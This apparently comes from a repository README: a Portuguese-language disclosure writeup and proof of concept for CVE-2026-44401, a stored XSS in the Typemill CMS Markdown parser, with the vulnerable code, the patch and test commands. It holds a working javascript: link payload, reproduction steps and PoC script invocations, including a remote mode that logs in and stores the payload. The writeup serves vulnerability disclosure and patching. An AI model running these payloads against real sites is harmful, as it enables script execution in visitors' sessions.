sn0x-sharma/cve-2026-44401XSS persistente no CMS Typemill: o parser de Markdown permite a passagem de URIs javascript: sem filtro. Writeup + PoC.
| CVE | CVE-2026-44401 |
| CWE | CWE-79 (Neutralização incorreta de entrada durante a geração de páginas web) |
| Versões afetadas | typemill/typemill >= 2.0.0, < 2.23.0 |
| Corrigido em | v2.23.0 (commit 31b72ea) |
| Autenticação necessária | Sim, qualquer função com direitos de ACL system:update (admin ou manager por padrão) |
| CVSS (relator) | 7.6 / Médio-Alto |
| CVSS-B (VulnCheck, v4.0) | 4.6 CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:A/VC:N/VI:L/VA:L/SC:N/SI:L/SA:L |
| Crédito | sn0x (@sn0x-sharma) |
| Comunicado | VulnCheck |
A pontuação é Média em vez de Crítica porque exige
PR:H(privilégio de configuração do tema) +UI:A(a vítima precisa clicar no link) — mas o payload é armazenado, então dispara para todo visitante que clicar.
Typemill é um CMS Markdown de arquivo simples. Seu parser Markdown não valida o esquema de URI dos destinos de link antes de escrevê-los em um atributo href. Um usuário com acesso à configuração do tema (por exemplo, o campo de texto Landingpage Intro Segment, que aceita Markdown bruto) pode armazenar um link javascript:. Ele é renderizado sem escape na página inicial pública e executa no navegador de qualquer pessoa que clicar — XSS persistente (armazenado).
ParsedownExtension::inlineLink() — system/typemill/Extensions/ParsedownExtension.php, linhas 934–996 (v2.22.0, última tag vulnerável).
Links relativos e media/ recebem um prefixo de URL base, mas nada verifica o esquema da URI antes de ele ser atribuído ao href:
# start typemill: if relative link or media-link
$href = $matches[1];
if($href[0] == '/')
{
$href = $this->baseUrl . $href;
}
elseif(substr( $href, 0, 6 ) === "media/")
{
$href = $this->baseUrl . '/' . $href;
}
# end typemill
$Element['attributes']['href'] = $href; // <-- no scheme validation
[Clique em mim](javascript:alert(document.domain)) → <a href="javascript:alert(document.domain)">Clique em mim</a>.
Caminho de renderização para esse sink específico: themes/cyanine/home/landingpageIntro.twig → TwigMarkdownExtension.php → ParsedownExtension.php. Qualquer outro campo do tema que processe Markdown do usuário pelo mesmo parser é igualmente afetado.
# end typemill
-
+
+ # block dangerous URI schemes (e.g. javascript:, vbscript:, data:)
+ $scheme = parse_url($href, PHP_URL_SCHEME);
+ if ($scheme !== null && !in_array(strtolower($scheme), ['http', 'https', 'mailto', 'ftp'], true))
+ {
+ $href = '#';
+ }
+
$Element['attributes']['href'] = $href;
A mesma lista de permissões (http, https, mailto, ftp) foi proposta no relatório original. Confirmado ao comparar o ParsedownExtension.php entre as tags v2.22.0 e v2.23.0.
As rotas de configuração do tema (GET /tm/themes, POST /api/v1/theme) são protegidas pelo recurso de ACL system/update — de acordo com as próprias definições de rotas do Typemill (routes/web.php, routes/api.php) isso é concedido à função manager por padrão, não apenas ao admin. Portanto, a exposição não se limita à conta de administrador de nível superior.
Faça login como um usuário com acesso à configuração do tema → Sistema → Temas → Configurar (tema ativo, ex.: Cyanine).
Expanda o Segmento de introdução da landing page → em "Texto para a introdução da sua landing page (use markdown)", digite:
[Click me](javascript:alert(document.domain))
Salve. Visite a página inicial como qualquer usuário e clique no link → o JS executa na sessão desse visitante.
CVE-2026-44401_POC.py - dois modos:
# Offline: exercises the parser directly against a Typemill checkout
# (composer install already run, so vendor/ exists)
python3 CVE-2026-44401_POC.py local --source /path/to/typemill
# ...or straight against a running container, same way it was originally verified
python3 CVE-2026-44401_POC.py local --docker typemill --container-path /var/www/html
# Live: logs in, stores the payload via the theme-settings API, confirms the
# raw javascript: href on the public homepage, restores the original value
python3 CVE-2026-44401_POC.py remote --url http://localhost:8080 \
--username admin --password '********'
Reprodução manual mínima (como o relatório foi verificado):
php -r '
require "vendor/autoload.php";
require "system/typemill/Extensions/ParsedownExtension.php";
$p = new \Typemill\Extensions\ParsedownExtension("",[],null);
echo $p->markup($p->text("[x](javascript:alert(1))"));
'
# vulnerable: <p><a href="javascript:alert(1)">x</a></p>
# patched: <p><a href="#">x</a></p>